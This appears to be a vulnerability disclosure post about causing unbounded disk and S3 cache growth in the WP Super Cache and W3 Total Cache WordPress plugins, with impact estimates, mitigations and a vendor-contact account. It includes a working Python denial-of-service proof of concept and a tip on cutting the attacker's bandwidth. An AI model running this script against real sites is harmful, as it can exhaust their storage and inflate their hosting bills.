Wordpress Caching Issues: Denial of Wallet

Denial of Service through Disk Space Exhaustion

Background

Two popular WordPress plugins for disk caching are W3 Total Cache and WP Super Cache. These plugins allow pages and posts to be rendered to disk as html files and subsequently served off the filesystem instead of being generated from data driven sources on every web request.

Take for example a WordPress page route at /2017/01/30/hello-world. Once a user visits this page, the output HTML will be rendered on the file system in the wp-content directory, with a subdirectory structure that matches the route.

Disk Space Exhaustion

By appending URL reserved characters at the end of the route, we can cause these plugins to cache the same HTML resource an arbitrary number of times. The characters that work particularly well are:

  • :
  • ;
  • @
  • =
  • &

WordPress URLs can generally be between 200 and 240 characters long, depending on the length of the URL path. In combination with these five characters, that represents a lower bound of 5^200 possible cache entries on the filesystem.

Over the course of one week, a single machine making 5 requests per second could theoretically cause the file system cache to grow to over 30TB in size.

Impact

Both W3 Total Cache and WP Super Cache are listed by WordPress as having more than one million unique installs.

Most self-hosted WordPress installations will run out of disk space well before 30TB has been consumed. At that point, features such as the ability to install additional plugins and upload additional media will become impossible. Certainly this is a DoS scenario, but it represents more of an annoyance than anything else for the sophisticated sysadmin.

Getting a little more serious in impact is the possible effect on Managed Hosting providers. An attacker could theoretically target a multitude of sites using these plugins hosted by a single provider and pummel those sites with superfluous cache entries. This could cause an underlying SAN to exhaust disk space which could cause availability issues for customers on a particular platform.

Where this vulnerability really has an impact is with the W3 Total Cache AWS integration. This allows the cache to be backed to AWS S3, in which event the disk space is effectively infinite. The limit would be how many cache entries one could cause in a given billing cycle, which is typically one month. A conservative estimate, utilizing one machine, would be 100TB of S3 storage space, which at the normal S3 tier pricing would be between $2,100 and $2,300 USD.

At these rates, it is practical to talk about Denial of Wallet: causing a website to face an outage because they cannot pay their AWS bill.

Mitigations and Remediations

Both plugins have the concept of cache purging at regular intervals. It would be wise to enable this feature, as well as to set the interval at something like one hour (3600 seconds).

Limitations

Ext2 and Ext3 filesystems have a subdirectory limit of 31,999 subdirectories in any given directory. If using a Ext2 or Ext3 filesystem, this subdirectory limit will be reached before any catastrophic Operating System limit is reached.

Ext4 filesystems have a subdirectory limit of 65,000 subdirectories, unless the dir_nlink filesystem feature flag is set. In the case that dir_nlink is set, the subdirectory count is effectively unlimited. Many Linux installations have this flag set by default during the guided partitioning process.

To check if a filesystem has the dir_nlink flag set, run the following command as root:

# debugfs -R features /dev/path/to/filesystem

Example output from that command:

debugfs 1.42.13 (17-May-2015)
Filesystem features: has_journal ext_attr resize_inode dir_index filetype needs_recovery extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize

Proof Of Concept

#!/usr/bin/env python

import urllib2
import argparse

from random import choice

parser = argparse.ArgumentParser(description='PoC for special chars caching vuln.')
parser.add_argument('--url', nargs='?', help='Base url to use for caching.  Must not end with a "/".')
args = parser.parse_args()

counter = 0

while (True):
    url = args.url + "".join(choice(["&", "=", "@", ";", ":"]) for i in range(200)) + "/"
    print url
    try:
        urllib2.urlopen(url).read()
    except:
        # When the backing disk is full, the WP install may respond with an error
        print "Requests Made: " + str(counter)
        exit(0)
    counter = counter + 1

Notes

The provided Proof of Concept will read the HTTP response, meaning there is a 1:1 relationship between how much data is written to the remote filesystem cache and how much bandwidth the attacker users.

Some of the plugins will cache on HEAD requests (a feature which can and should be disabled). An attacker may wish to limit the amount of bandwidth consumed, and thus might instead drop the TCP connection on the first byte read of the HTTP response.

We reached out to Automattic (WP Super Cache) and W3 Edge (W3 Total Cache). Automattic ultimately decided not to fix the issue, citing the "Easy Configuration Mode" as having the garbage collection enabled by default, and stating that if a user didn't enable that garbage collection they are presented with a warning. W3 Edge did not respond to multiple contact requests.

You might also enjoy reading: